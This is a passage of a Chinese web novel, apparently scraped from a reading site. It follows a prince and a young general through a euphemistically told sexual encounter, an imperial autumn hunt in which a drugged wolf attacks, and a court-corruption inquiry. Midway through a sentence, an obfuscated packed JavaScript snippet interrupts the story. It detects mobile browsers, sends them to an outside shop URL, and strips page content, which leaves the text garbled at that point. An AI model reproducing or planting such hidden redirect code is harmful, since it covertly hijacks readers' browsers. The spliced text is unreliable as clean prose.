怎么这样笨。 笨得他连最后一点耐心都被磨没了。 裴与驰原本还站在原处,在等——等他自己想明白,等他自己走过来。可这一刻,他忽然不想等了。 也不想再克制。 他一步上前,动作干脆利落,几乎不给人反应的余地,便将人按在了树干上。老槐树粗砺的树皮贴着脊背,夜风一震,迟铎下意识绷紧了身子。 “怕我嫌你?”裴与驰低声道,气息贴得很近,“怕到这个地步?” 话音未落,他便落了手。 修长的指节隔着衣料压下,力道不轻,像是要把迟铎那点自欺欺人的退路,生生碾碎。 迟铎浑身一震,喉间几乎溢出一声失控的气音,又被他硬生生咽了回去。 裴与驰却没有退开。 他显然并不算熟稔此道。初涉风月,三殿下自认翻过几本男子相与的艳词话本,便以为万无一失。哪知偏生撞上这只心思百转的狸奴——这副身子,压根不在那些书里。 少看一页,便少算一截。新书当场无用,只好弃文从武。 既然话本不管用,便照兵书来:先试锋,一步一探;再观变,乘其隙;不合用的立刻舍去,疼了便收,乱了便停。 犹疑不过片刻。 下一瞬,他便干脆利落地换了势,半屈下身,临阵易法,弃虚取实,毫不拖泥带水。 那一套动作快得叫人心惊,偏偏又稳得过分,像他一贯的行事:不留余地,却不乱分寸。其疾如风,其徐如林;侵掠如火,不动如山。 只是三殿下用的是兵法,落到眼前,却成了静远侯爱翻的艳词: 轻拢慢撚抹复挑,花心轻拆;嫩蕊生香,檀口恣采;露滴牡丹开,香津暗渡,春水乍涨,湿云一片。 迟铎像是要把那点羞耻连同骨头一并压碎。可越压,越乱;越忍,越失守。那一声闷哼硬生生咽回去,眼尾却先红了,湿意顺着睫毛坠下,分不清是泪,还是别的。 不知过了多久,裴与驰才抬起头。 他唇上沾着点点湿痕,呼吸尚未平复,目光却已冷静下来。那双眼盯着迟铎失了焦的眸子,一字一顿地问:“我像是在嫌你,还是在避你?” 这一番下来,没给迟小将军半点回神的余地。 兵书有言:三军可夺气,将军可夺心。 而迟铎此刻,气也被夺了,心也被夺了。 他一句话都说不出来。 夜露深重,玄霜在旁实在无聊,把那片草都快啃秃了,两人却都没回去。 席地而坐,泥湿沾衣也不计较。三殿下素来爱洁,此刻却像稀罕得没了分寸,只把人拢在怀里,任他躲,任他赖,任他把那点委屈尽数蹭在衣襟上。 迟铎紧紧埋着,闷声嘟囔:“你怎能……这样。” 这样把我放在心上? 裴与驰垂眸看他,半晌:“我已克制过了。” 话说得直白,狸奴那点心思,半分也逃不过他。 迟铎:“……” 他想顶嘴,又不敢;想笑,又笑不出。心口酸得发涨,只得把脸埋得更深些,像要把自己藏起来。 裴与驰忽然摆起了皇子架子,开始审问:“若我不来,你当如何?” 迟铎指尖一颤,闷声道:“我会老实做个伴读。日日记殿下好,想殿下。” “记一辈子。”这句话说得极轻,却极笃定,分明是他在心里翻来覆去掂量过,才落下的决意。 裴与驰:“……” 他沉默片刻,像是被气笑:“你倒真有本事。” “话本不够你翻的,偏要亲自上阵,还演得这般像样。” 他顿了顿,语气更凉,简直恨不得敲开这狸奴的脑子瞧瞧,莫不是撞上了什么换魂的邪门法子,怎的前一刻还凶得要咬人,转眼便羞答答得不像话。 “偏生那出对手戏,我一字未出口,你倒先替我把进退、把结局都写尽了。” 大学士当真看走了眼。 这哪是莽夫?分明是知音。 心思一转便翻出千般情景,偏偏对手戏还没开场,他就先把整出唱完了。 今夜被翻来覆去嘲讽的迟小将军,索性也不辩了,坦然受着。只是受着受着,便悄没声儿地把鼻涕眼泪一并蹭在三殿下衣襟上,蹭得理直气壮,半点不心虚。 多愁善感怎么了?胡思乱想怎么了?刀是自己的,心却是他的,这叫他如何管得住? “喂,我还没审完呢?”某位火气还没消,连“喂”都喊上了。 迟铎埋着不动,装没听见。 裴与驰却也不看他,只把目光落在远处夜色里,语气冷冷的,像随口一提:“长安这地方,规矩繁多,连纵马都不许。” 他顿了顿,声音压得更低了些,别扭得很,像这话在喉间滚了几遭才肯放出来:“你怎么想?” 他没再问得更明白:“……待得惯么。” 两个人都有憋在心里的心思,一个不敢说,一个不肯说。 耍赖鬼终于肯从怀里抬起头来,眼尾还湿着,偏偏装得若无其事。三殿下却只肯赏夜景,目光直直落在玄霜祸害完的那片秃地上,竟也能看出几分美不胜收来,端得一副高冷矜贵的模样。 迟铎还能怎么想。 他其实还没想到那么远。只是想到往后要规规矩矩当个伴读,站在他身侧不远不近,连多看一眼都得掂量分寸,心口便发紧,整一片断魂心痛。 若他真回塞北,纵是夜镶群星,月影高悬,天地依旧辽阔,可少了那个人,便也只剩如此二字,再无可恋。 于是他只低低道:“……没什么想法。” 话音才落,又像怕这句太轻、风一吹就散,立马更没出息地补了一句:“我不走。” 说完便垂着眼,耳根红得厉害,连呼吸都放得小心,嘴角却偏偏抿不住,硬生生抿出一点羞涩来。 裴与驰没说话。 他只看着他,看了片刻,忽然伸手扣住迟铎的后颈,把人不轻不重地拽近了些。动作仍是那副不讲理的冷淡,落下来的吻却轻得过分,像哄人,唇瓣一触即离,却把夜露里的凉意都熨热了。 迟铎愣了愣,眼睛微微睁大,却没再害羞地低头,只怔怔望着裴与驰。那目光黏得发烫,像一缕细丝缠上来,怎么也断不开。 龙心大悦的皇子殿下赏完这一口,才慢条斯理地收回手,仍旧端着那副冷冷淡淡的神色,仿佛方才那温柔不是他给的。 而玄霜在旁实在无聊,早已不啃草了,改去薅树叶,薅得沙沙作响,像是嫌他们实在磨叽:到底还要缠到几时,能不能快些把这场风月收个尾?它都想回去站着打个盹了。 12. 药狼案 三皇子夜出宫禁,拽着靖武伯纵马长安道的事,一早便传到了御前。 内侍屏息回禀时,圣人正翻看着户部的旧账。朱笔悬在纸页上方,迟迟未落。他听完,只略扫了一眼那封密报,便将其折下,搁在一旁,没有置评。 年轻人的私情燕昵,在眼下的朝局里,还算不得什么值得分神的事。真正要紧的是,户部右侍郎的位置,数月空悬未决。 吴嵩的出局,从头到尾都是一盘早就摆好的棋。 长衡粮道上的那些腌臜事,圣人并非不知。他睁一只眼,闭一只眼,本就是纵容。塞北迟家,他向来拿捏得极稳:只许其活,不许其盛。迟家军合该是草原上的狼,有敌在前,有饥在后,日日记着活命二字,才能磨掉那点拥兵自重的锋芒,不至于把目光投向京华。 偏偏吴嵩一系不知收敛,竟将手伸向了御赐的慰军礼,这一步,正好撞在三皇子亲巡的关隘上。裴与驰在长衡县落下的那一杀一伤,动手极狠,也极稳。第一刀断了主簿的喉,是折了吴义的臂膀,也封住了那一张张欲辩的嘴;第二刀伤而不杀,血却淌得明明白白,将那点藐视皇权的脏事,推到了台面上,再遮不住。 吴义不过一个九品县令,若无倚仗,哪敢拦御粮?他靠的,无非是叔父吴嵩在户部多年经营出的根基,以及左相闻铮两朝不倒的余威。 吴嵩被撤那日,圣人端坐高位,只淡淡问了一句:“这是朕的天下,还是你吴家的天下?” 殿中一时无声。 众人心里却都明白,这一句骂的不是粮草,是逾矩;立的也不是贪墨案,是天家的分寸。以往局势未稳,尚需借闻相之手平衡乾坤,如今乾纲在握,这龙椅侧畔的位置,该由谁坐,已不必再假旁人之力。 闻铮立在班首,长袖微颤。这位事奉两朝的老臣,心中有两桩不安。外孙守着东宫多年,离了父荫便难独立;亲子却恰恰相反,仗着外戚之势,手伸得太长,说话做事,已渐失分寸。一个太弱,一个太急,都不是好兆头。 真正让人心惊的,是圣人对三皇子裴与驰那份毫不遮掩的看重。 这看重有来处。 当年圣人微服出巡,欲观长安第一莲花。彼时沈研尚只是籍籍无名的侍郎,府中莲池却已名动京华。那一日,圣人见了花,也见了人。沈家长女立于池畔,颜色正盛,满池荷花竟没能压住她半分。 圣人这一眼,看得久了些。 不多时,人便进了宫。沈氏入宫后,宠冠六宫,擢为皇贵妃,摄六宫事,行止周全。三皇子裴与驰,自幼便得皇父亲自教养。沈研官运亦随之直上,终与闻铮分庭。 这是宠,也是立威。 闻铮看得明白。这些年,他姿态放得极低,夜夜抄经,熏香丹药不断送入宫中。示忠之意摆得清楚,真要清算,他认了,只求给闻家留一条退路。 可闻知年不肯。 这位吏部右侍郎,理账筹银多年,暗里明里的腾挪,哪一桩不是经他之手?他以为,至少该给他留几分余地。可到头来,连那点护身的余数,也被父亲一并送进了内帑。 “跪下。”闻铮眼皮未抬,佛珠转得极稳。 闻知年看了一眼堂中妻儿,又看了看父亲的背影,终究什么也没说,屈膝跪下。 那一夜,他被罚入祠堂。香火未断,孙儿学步的脚步声隔着门板断断续续地传来。 圣人的气,终究是顺了。这操持钱粮的人,眼下还离不得。是以秋狩之前,左相递上的荐表被退回了大半,唯独留下了一个名姓:周惟简。此人虽是闻相的学生,却不结党,不逢迎。圣人看中的,正是这份与师门情分并行,却不肯与朝局纠缠的分寸。 清早,御营外雾气未散,猎场尚未开围。帐幕一字排开,马匹系在林边,低低喷着白气。旌旗未起,却已有铁器与草木混杂的气味被风揉碎,淡淡灌进人鼻腔里。 裴与驰来得极早。玄色劲服束得利落,护腕收紧。他没急着入列,只立在营帐外,目光却不落猎场,倒像是在等什么人。 没等多久,那人便到了。 迟铎一路赶来,猎装潦草,领口歪着,护腕一只松一只紧,发尾还翘着一点,活像只刚从暖被窝里拎出来就往外跑的狸奴。偏他还敢摆出一副小爷来太早的神色,眼尾微挑,站定了便要往羽林卫那边溜。 裴与驰迎上去将人拽到跟前,替他理顺领口又勒紧了护腕。 “狸奴起晚了,”他嗓音低沉,带着点揶揄,“连毛都来不及顺?” 迟铎被他按着理装,想起昨夜抄书的辛苦,只能气结地回敬:“怪谁?” 昨日学馆内,本是再寻常不过的一日。大学士摇头晃脑讲得兴起,眼皮半阖,偏有一只迷了路的虫子直撞入眼。老头子剧痛睁眼,恰撞见迟铎正将一张纸条掷向三皇子,当堂抓了个现行。 那纸条上落的,是裴与驰近日亲笔写的歪词俚调:“狸奴翻身压软榻,春水一夜湿罗帕。” 迟铎不仅失了仪,更因那见不得光的词句羞得脸烫,只得起身自承行止无状。偏生这几日裴与驰忙于筹备秋狩,自顾不暇,没能替他挡下这一回。于是书抄到半夜,墨痕未干,人已得顶着晨露往猎场赶,连口气都未歇匀。 裴与驰听罢,只低低笑了一声。手搭在他衣襟上,慢条斯理地抚平褶皱,像顺猫毛似的:“下回写点能见人的。” 迟铎俊脸皱成一团:“殿下还是早些回头是岸吧,再这么写下去,我迟早不是被你念死,就是被大学士抄死。” 自从这位殿下在槐树下开了窍,便弃了刀兵,一头扎进笔墨里。行止虽依旧端方,该守的礼数一样不缺,心思却换了去处。往日对市井话本嗤之以鼻,如今翻书比谁都勤,尤爱才子佳人、精怪书生等路数,甚至亲自动笔,比起从前被他嘲笑的静远侯,更有过之而无不及。 他尤爱写狸奴成精、以身相许报恩喂他硕鼠吃的书生。白日里书生坐怀不乱,严辞推拒,端的是一副端方君子样;待见狸奴实在情深,眼巴巴地痴缠着,才勉强唤声卿卿。可一到夜里,画风陡转,粉香腮、樱桃口、蔷薇汗、湿罗襟,吟得比谁都勤。 写便写了,偏还不肯自己藏着。 裴与驰总要逼着迟铎亲口念出来,仿佛不听那几句,便算不得完。 那篇篇句句影射得分明,怎么看都是迟铎自己。至于另一位主角是谁,迟铎硬是没瞧出来——按殿下近来那点市井口味,想来也不是什么正经来路。 将军府书房里灯影摇曳,墨香混着烛烟浮在案上。 迟铎盯着纸上的章回标题《俏狸奴投怀送抱,俊书生坐怀不乱》,看得牙酸,指尖的笔杆险些被捏断。 “裴与驰,”他猛地抬头,圆眼瞪得溜圆,“你若是真闲得发慌,便来帮我写。非要写这些糟蹋我的名声?” 对面那位殿下坐得端方,研墨的动作却认真得很,仿佛在写什么经世文章。连眼皮都未抬,修长指节稳稳压着宣纸。 “这怎么是糟蹋?”他道:“我写的是报恩的狸奴,又不是写你。” 他顿了顿,唇角一挑,“除非,迟小将军觉得自己便是那只‘以身相许’的精怪?” “你——!”迟铎气结,想起大学士布置的策论还半个字没着落,而眼前人课上早写完了,如今倒有闲心落这些歪词俚调。他索性把笔一丢,大喇喇往后一靠,耍起赖来:“不写了。殿下这般勤勉,不如替我也写了?” “替你写也行。”裴与驰停笔,开出条件,“不过,狸奴得把昨夜那段‘书生救猫’,亲口念完。” 迟铎僵了一瞬,耳根发热,咬牙切齿地挤出两个字:“……裴郎。” 声音低得几不可闻。 裴与驰这才满意,接过宣纸落笔:“大点声,没听清。” 回想最近种种,迟铎只觉命苦至极,恨不能横刀自尽。 “今日你若猎赢了我,”裴与驰轻捏他的脸,“我便少写两句,给狸奴打打气。” 迟铎也不躲,由着他动作,嘴上却不肯吃亏:“殿下等下猎不过,可别哭。” 裴与驰低低一笑,未再接话。营前人声马嘶已至,大部队入场,将私语冲散。迟铎敛了神色,折身退回羽林卫阵中,甲胄在晨光下冷冽一晃,那点亲近,也只能到此为止。 号角犹自噤声,圣驾却已先至。御辇自营帐深处缓缓而出,旌旗一字铺开。马蹄声被刻意压低,只余辇轮碾过草地的闷响。羽林亲军分列两侧,甲胄肃然,队形严整。 圣人今日未着重甲,只换了一身猎服,骑在马上。脊背笔直,手执缰绳,动作并不张扬,却自有一股压得人不敢抬头的气势。那张脸在晨光下看不出喜怒,眉目轮廓深刻而俊朗,与裴与驰有七分相似。 迟铎立在阵中,视线微垂,却仍能觉出那道目光在场中缓缓扫过。 皇子列于阵前,勋贵簪缨次之,文官立在外围。阵仗与往年并无二致,可众人的目光却不免游移,落在了周惟简身上。 这位新任户部右侍郎骑在马上,身形端正,不前一分,也不退半寸,马蹄踏实,缰绳收得恰好,猎服的下摆垂得平直,风吹过时,只轻轻晃了一下。 有人看了两眼,又悄悄移开视线。 站在他身侧的周行止,却显得拘谨得多。少年身量尚未长成,那身猎服穿在身上显得板正,反倒压住了肩背。他在马背上坐得极直,脊背绷紧,像是生怕一松劲就会失了分寸。缰绳被他攥得发紧,指节泛白,连手背的筋络都隐约浮了出来。 他自幼浸在圣贤书里,章句义理皆在腹中,这等骑射围猎的场面,本就不是他的长处。可如今父亲骤登高位,天恩正盛,今日这场秋狩,于他而言,既是考校,也是众目睽睽下的一张脸面。纵然心中发虚,却只能咬着牙稳住。 圣人的目光在周惟简父子身上略作停留,旋即移开,未多说一句。 号角声随即响起。 猎场开围,林中闸门齐开。豢养的猎物被放出,鹿、獐、麂子循着既定的猎道奔逃,蹄声杂沓,却并不慌乱。 起初的几轮进行得顺遂。叫好声此起彼伏,箭羽破风的嘶鸣与林间渐起的血腥气交织在一处。圣人并未下马,只坐在华盖之下,目光偶尔掠过那些纵马调度的身影。 太子一马当先,占着正位。周遭的勋贵策马而行,彼此之间留着分寸,猎物被一点点往东宫的方向驱去。太子出手稳妥,箭势不显锋芒,却处处守着储君的分寸。场中喝彩声起,圣人只微微点了点头。 裴与驰却落在后头,缰绳松松握着,骑得不疾不徐,一派闲散。前头猎物被驱得四散奔逃,他连眼风都懒得多给。偶有野兔自道旁惊起,贴着马蹄掠过,他低头扫了一眼,弓仍旧横在臂侧,动也未动。 这点皮毛,连添个数都嫌寒碜。 他的视线越过猎道,落在前头那道身影上。迟铎骑得极快,出箭时干脆利落。方才那一箭才落,人已先回头看了一眼,眉眼飞扬,嘴角上翘着,那神气分明在说:殿下这般,也敢与我较量? 早间那上扬骄傲的语调,与此刻的神采飞扬在他身上叠作一处。 裴与驰看得分明,嘴角不由得轻轻一动,狸奴得意起来,确实招人得紧。 那点心思实在好猜。仗着骑射见长,便想着要压自己一头。可这一场比猎,他却没打算相让。猎数若少了,阵仗输了,往后便连一句调笑都要矮上几分;唯有赢了,才能理直气壮地逼他唤那一声“夫君”,看他涨红了脸,嘴上骂他不知羞,眼神却偏偏躲不开,连耳尖都要一并烧起来。 想到此处,裴与驰心情愈发松快。是以他并不急着出手。零零散散的小猎物,不过添个数目,实在入不了眼。他等的,是能一箭定下胜负的东西。林子渐深,他抬眼望过天际,又垂眸扫向灌木暗影,心里已慢慢有了计较。若真能逼出狼或者海冬青来,猎数立时反转,前头那点领先,不过转眼抹平。到时再追上去,挟着这份胜势慢慢逗人,才算真正的一箭双雕。 念头方落,林中风声忽地一变。 下一刻,狼从林中冲了出来,并不壮硕,肋骨横突,脚步却快得出奇。它低吼着,对人马的喧哗毫无惧色,眼白泛着浑浊的红光,直直往外圈扑去。驯兽手一惊,长鞭甩出,呼喝声在林间炸开,却没能拦住半步。那狼像是失了常性,一路撞开草木,目标分明,往文官随行的方向扑去。 周行止首当其冲。□□坐骑受惊,前蹄猛地一撩,险些将他掀下马背。他脑中一片空白,指尖僵硬,满扣的弓弦在剧烈的颤动中嗡然作响。几乎是本能地松了手。箭离弦的那一刻,方向便彻底偏了。它擦着人群的惊呼声飞出,偏出半线,破风而去,直掠御前。 裴与驰已然策马而出。玄衣坐骑骤然加速,马身横切,硬生生插入箭路。他伸手扣住圣人的肩臂,借着冲势将人带离原位,箭镞贴着他衣袖掠过,冷风擦肤而走。下一瞬,箭矢钉入御辇旁的泥地,尾羽震颤,嗡鸣不止。 狼却还在扑。灰影破草而出,腥臭味瞬息逼近。周行止□□坐骑受惊前蹿,缰绳失控,马头乱摆,眼看便要被狼喉咬住。迟铎策马贴近,与周行止几乎并辔相撞。未曾多看,手臂一展,五指扣住缰绳猛地一拽,马头被生生拉偏。刀光随即亮起,迟铎借马势前冲,反手抽刀,自上而下斜斩而落。 “咔嚓。” 骨裂声清脆,血顺着刀槽喷溅而出,洒在枯黄草叶上。狼在地上翻滚数步,四肢抽搐了两下,便伏倒在血泊之中,再无声息。 风声这才重新在林间流动,将那股腥气一寸寸吹散。 周行止面色惨白,被随从搀着,双腿仍止不住地发抖。周惟简已滚鞍下马,俯身伏地请罪,话尚未出口,便被内侍抬手拦下。 圣人只看着那具狼尸。方才的惊动仿佛只在一瞬,他很快便定住了神色,没有动怒,也未开口。目光落在那头狼身上,停得极久。 “豢养的猎物,”他终于开口,“怎会是这副模样。” 场中无人应声。 血仍在草地上慢慢洇开。那狼侧卧在地,獠牙外露,眼底那抹不正常的红光,随着生机一点点散尽,终究暗了下去。枯涩的皮毛贴在突兀的肋骨上,像一蓬被踩折的荒草,既不见野狼应有的凶狠,也没有禁苑豢养出的油光。 圣人的视线,自始至终没有挪开。 不多时,负责驯养的几名内官被羽林卫押了上来。为首的只是个半大少年,一见地上的狼尸,腿脚一软,重重跪倒在地,额头磕在泥土上,闷响在死寂中格外清楚。 “奴、奴才有罪……奴才该死……” 根本无人审问,那点恐惧已堵到喉咙,他撑不住似的,话一股脑儿往外倒。 “这狼进场前便不大对了……近来饲料克扣得厉害,分到手里的肉没几两,可要供的畜生却多……总也吃不饱。奴才怕它到时候蔫了精神,误了御前的彩头……便有人递了药,说是能提气……” 话说到一半,声音忽然断了,他伏在地上连连磕头,很快便在泥土上留下血印。 “碗……碗里还剩着些,奴才没来得及收拾……” 内侍将那只陶碗取来。碗底凝着一层黏腻的残渍,色泽暗沉,散着一股说不出的异香,在日光下泛着浑浊的光。众人的目光在狼尸与陶碗之间来回游移。被克扣的肉钱,来路不明的药石,这两样凑在一处,牵着什么,已不必再有人点破。 圣人终于移开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239950|197682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线,他没有呵斥,也未立时发作,只淡淡开口:“先押下去。” 内侍应声,将那几名驯兽人拖离。草地上零落的血痕,很快被重新聚拢的马蹄踏乱,踩得模糊不清,仿佛从未存在过。 圣人抬眼,望向林影交错的猎场深处,神色一如往常。 “秋狩,”他的声音在空旷的猎场上回荡,“继续。” 圣令既下,先前的惊魂与暗涌,便随着重新响起的马蹄声,一并被碾进了尘土里。 经了这一出“药狼”的惊吓,原本还想在猎场上逞一逞本事的勋贵子弟们,多半泄了胆气。策马时,众人心照不宣地避开密林深处,只在外围游走应付。羽林军也收起了往日的松散,甲胄肃动,神色紧绷,将御前护得愈发严密。 迟铎与羽林领队低声交代了几句,随即调转马头,长鞭一扬,追上了裴与驰。 两人并辔入林。枝叶合拢,外头的喧哗很快被隔在身后。天光被层层枝叶绞碎,只余下一片冷暗。风贴着耳廓掠过,湿冷刺骨。灌木深处不时传来窸窣声响,树梢影影绰绰,像是伏着什么,又很快归于死寂。两人的目光不时扫向林间暗处,寻找其他的异常猎物。 迟铎故意落后裴与驰半个马身,他侧头看了一眼,那人神色如常,背脊笔直,缰绳收得不紧不慢。方才那一支险些夺命的流箭,在他身上像是只掠过耳畔的一声风响。 裴与驰能稳住,迟铎心口那根弦却已绷到极限。 “你方才疯了吗?” 念头在脑中翻涌,出口时,却只剩那句最直白、也最压不住的恼怒。 “箭贴着你飞过去,你连头都不回。”迟铎猛地转头瞪他一眼,“你当自己是铁打的?” 这句话出口,什么圣驾,什么羽林差事,统统被他抛在脑后。眼前只剩下这个不要命的男人。迟小将军此刻若还记得自己吃的是谁家的俸禄,倒真是见了鬼。 裴与驰被他这一眼瞪得一怔,随即偏头看去。那张脸因恼怒而鲜活得很,像是随时要扑上来咬他一口。他竟没忍住,低低笑了一声。 “这不是好好的?”他语调一松,“皮肉都没蹭破。” “好好的?”迟铎冷哼,话里带刺,“那是你命大。三殿下,您若真有个三长两短,可别指望话本里的狸奴精还能给您复生。” 裴与驰看着他,目光在他脸上停了一瞬,笑意还挂着。 “狸奴这是怕守寡?”他说得轻巧。 迟铎半点不露怯,冷笑一声,接得极快:“这世间书生满街都是,死了一个,我自去拎下一个便是,谁要为你守着?” 话说得利落,只字未提情分,但没否认嫁娶。 裴与驰沉默了一瞬。 他心里清楚,这一回,确实是自己理亏。那一箭若再偏上半分,后果如何,他心里并非没有数。笑意收起,他拉了拉缰绳,语气正经了几分:“周行止不善骑射。” “拉弓时力道虚浮,箭势偏软。”他继续道,“我看准了,纵然真躲不开,多半也只是皮肉之伤……不至于伤到要害。” 话是这样说,倒像是在替自己辩解。 话音才落,迟铎忽然转头。那双眼睛睁得极圆,林间昏暗,却亮得惊人,直直盯着他,像是被人踩了尾巴的狸奴,随时要炸毛。 “皮肉伤也是伤。”他一字一句地说,“也是有人心疼的。” 这话落下,林中忽地静了一瞬。 裴与驰竟一时接不上话。 这狸奴平日里羞得连头都不敢抬,真到要紧时候,却坦荡得叫人无从招架。话说得理直气壮,倒显得被堵住的他成了个薄情负心的混账。 他抬手摸了摸鼻尖,清了清嗓子,终究还是低了头:“……是我鲁莽。” 认错认得干脆利落。 说完,又像是怕人不肯就此作罢,赶紧补了一句:“下次不会了。” 半点皇子架子也没剩。 迟铎这才移开目光,重新望向密林深处。两人继续往前行去,林影愈发浓重,枝叶合拢,四下再无旁人。 裴与驰才又缓声开口:“秋猎是大事。往年为了提气,给猎物喂些药石,本就不算稀奇。” 迟铎没有接话,只听着。 圣人好武,厌见宫中豢养的畜生蔫头耷脑。要合圣意,猎物便得跑得快、扑得狠,用药这件事,早已成了不成文的规矩。 “可药喂多少,总有个分寸。”裴与驰继续,“饿狠了的猎物,添一点,是为了撑个场面。可今日那头狼……” 他说到这里,停了一下,“兴奋成那样,就不对了。” 风从林间穿过,枝叶轻轻一晃。裴与驰抬眼看了看前方,又很快收回视线。 “兽苑里的凶兽,这几年多半都是这副模样。”他交了底,“起初我也以为,是怕伤人,刻意养瘦了,在御前做个样子。后来才发现,这差事里头,水深得很。” 饲养不设细账,牲畜吃食无定数。瘦了,是驯化;少了,是折损。省下来的肉钱、药钱,兜兜转转,最后总能回到该回的地方。围猎得体,是面子;国库丰盈,也是面子。至于里子落在谁手里,太和殿里那长年不散的熏香与仙丹,早已给出了答案。 迟铎心中一片清明。入京数月,长安城中结党营私、上下相护的丑态,他并非未曾见过。只是今日这一遭,仿佛有人生生将那层遮掩的薄纸捅破,底下的腥脏顷刻淌出来,再无遮掩。是巧合?还是有人早早铺好了路,只等这一刻? 他握着缰绳的手不自觉地收紧,指节泛白。那头狼扑出的方位,那股透着邪性的躁动,还有周行止在惊惧之下彻底走形的举止,一幕幕在脑中掠过。 那一箭,直掠御前,当真只是失手?林间风声贴着耳畔掠过,枝叶轻响。迟铎没有再往深处想下去,却也无法当作什么都没发生。 这些门道,他不是不懂。生在塞北,他见过的血,比长安城里的酒还多。暗礁险滩、阴谋算计,早在边陲的沙场与营帐里便已领教过。真要论起这些,他从来不缺心理准备。若裴与驰当真是设局之人,他也并非不能接受,念头在心底一闪而过,没有任何迟疑。 让他心口发紧的,并不是那一箭本身,而是箭破空而来时,站在前头的,为什么偏偏是他。若真要布这一局,原也该留有更稳妥的后路;若论临场应对,自己分明有更多实战经验。可到最后,却仍是他策马而出,挡在了最前头。 箭矢无眼,生死只在一瞬。 念及此处,怒意如潮翻涌,迟铎侧过头,又狠狠瞪了裴与驰一眼。 裴与驰微垂眼帘,避开那道视线,他当然知道迟铎在想什么。这药狼之局,事前确非他所布,亦不出自他手。可那支箭来得太快、太近,近到不容半分迟疑。骨血深处的本能压过理智,逼着他策马冲出,横切入局。只是这一点血脉之情,连一息都未能支撑,下一刻,理智与权衡便追了上来。箭若见血,便不再是意外。那层歌舞升平的外皮一旦被撕开,底下会露出什么,谁也说不准。他伸手护住圣人、带离箭矢的刹那,后路已在心中成形:这是递到御前的投名状。 他自诩不是良善之辈。到危急关头,本能至多只占一息,下一刻便会被算计压下去。至亲血脉也好,旧情牵连也罢,无非看在局中,值几分分量,能撑起多少红利,又能换来多少信任。 他并非不知,欲求地久天长,终须彼此坦诚。然情深之处,终难免生出几分侥幸;总以为,有些权术机心,尚可暂且不言;有些幽暗阴影,或可待行得更远,再见天光。至少,在迟铎眼中,他想多留这一分清白。 哪怕这清白,是他亲手经营出的假象;而那只笨狸奴,早已为了他,将君臣之纲抛诸脑后,乱了分寸。 13. 清风馆 到了最后,这场秋狩终究草草收场。 裴与驰与迟铎并辔入林,折腾了半日,除却一身寒气,便再无旁物。那只闯祸的狼,反倒成了当日唯一的收成。圣人口谕虽仍命秋狩继续,可随行羽林卫早已暗中更换布置,将禁苑围得密不透风。往日那点纵马取乐的兴致,自此散得干干净净。 入夜,御帐灯火通明。 兽医跪在案前,额角冷汗渗出,却始终不敢抬头,只低声回禀,说那狼所用之物并非什么新毒,也非奇药,不过是兽苑平日给凶兽提气的旧方子,只是在其中一味药上,多添了些分量。他顿了顿,又补道,照常理,这点分量也只够撑一时场面,坏就坏在那狼近来吃得太少,腹中空虚,药性一激,这才失了常性。 话说到这里,帐中一时无声。 圣人听罢,神色未改,只抬手示意退下,连一句评断也未置。 若只看到这里,此事似乎不过是一桩因疏忽而起的意外。可司狱顺着这条线一路往下剥,翻出来的内情,却简单得近乎荒唐。 兽苑中负责用药的,是个叫周大文的老吏,在苑里一蹲数年,既无显赫来历,也无倚仗背景,是个再不起眼不过的人。前些日子苑中恰好空出一个小缺,他四处打点,银钱没少花,话也托人递到了上头,只等吏部过章。谁知左等右等,调令迟迟不下,反倒听见风声,说那缺早被人暗中截了去。 周大文起初并不信。直到兽苑新调来一名掌事,与他同值时,像是随口替他抱不平一般,低声道:“上头原本点了你老先生去的,怎的同那姓李的说了几句话,转头便改了主意?” 周大文心里一紧,追问那姓李的有何本事。那掌事支吾其词,只含糊提了一句:“听说……搭上了吏部闻侍郎的门路。” 这句话,像一根细刺,悄然扎进了心里。 几日之后,又有流言入耳,前后印证,说那缺确实是被人“顶”了去。至于顶他的人是谁,众说纷纭,却都绕不开一句话:与闻相府上往来甚密。 至此,周大文再无疑虑。 他一夜未眠,翻来覆去地想,只觉自己这些年的低头忍气、打点逢迎,全成了笑话。偏偏秋狩在即,负责给狼喂食添药的,正是那“仇家”李兆的儿子李小刀。那少年不过十四五岁,瞧着被克扣得瘦骨嶙峋的狼发愁,低声嘀咕:“狼若是动也不动,怕是要误了御前的彩头。” 周大文见状,换了一副慈和面孔,从袖中掏出一包药粉,叹道:“你这也是没法子。巧了,我手里正好还剩些药,是上头特批的,矜贵得很。添上一点,撑过这一场便罢。” 李小刀一闻,那药气与往常无甚分别,哪里想得到深浅,只当是救命的东西,忙不迭道谢,把周大文当成了活菩萨。周大文只笑笑,转身便走。至于药添了多少,狼会成什么样,他懒得细想,横竖他总得借端报复一次,方泄得心头之恨。 事发之后,周大文连同李兆、李小刀父子一并被押入司狱。审问之下,周大文供认不讳,只说是为泄私愤。 可这案子里真正耐人寻味的,却是那名在关键时候点火的新掌事。名册翻遍,没有;调令查过,也无。禁苑上下问了一圈,有人记得见过这个人,有人记得听过他说话,却谁也说不清,他究竟从何而来。事情拖得久了,问得一再反复,连周大文自己都开始生出疑心,那几句点火的话,那几次意味不明的暗示,究竟是真有人说过,还是他在愤恨与不甘里,亲手给自己造出的一场梦。 这事说穿了,不过是周大文受了几句挑唆,为泄私愤,在药中多添了分量。 真正扎眼的,是另一层。 兽苑内官,连“芝麻官”三个字都沾不上边。可偏偏就是这样的人,却笃定地相信:只要同僚搭上了闻府的关系,哪怕是这等微末的小缺,也能被人不声不响地挪走。这份笃定,并非一人之言,像是街坊巷尾反复传唱的旧话,说得久了,连说的人自己都信了。 御帐之内,供状呈上。 圣人翻了几页,指腹在纸角一顿,忽地将那几张纸掷回案上。 帐中一时无声。 吏部右侍郎闻知年之名,竟被底下人传作无所不至。若非行之有年,又怎会传得这般顺理成章?这数月来,闻铮频频进奉的珍稀药材、丹药、熏香,至此反倒显出几分意味难明,像是示忠,又像是遮掩;像是供奉,又像是先把话堵住。 消息传入闻知年耳中时,他当真一时摸不着头脑。 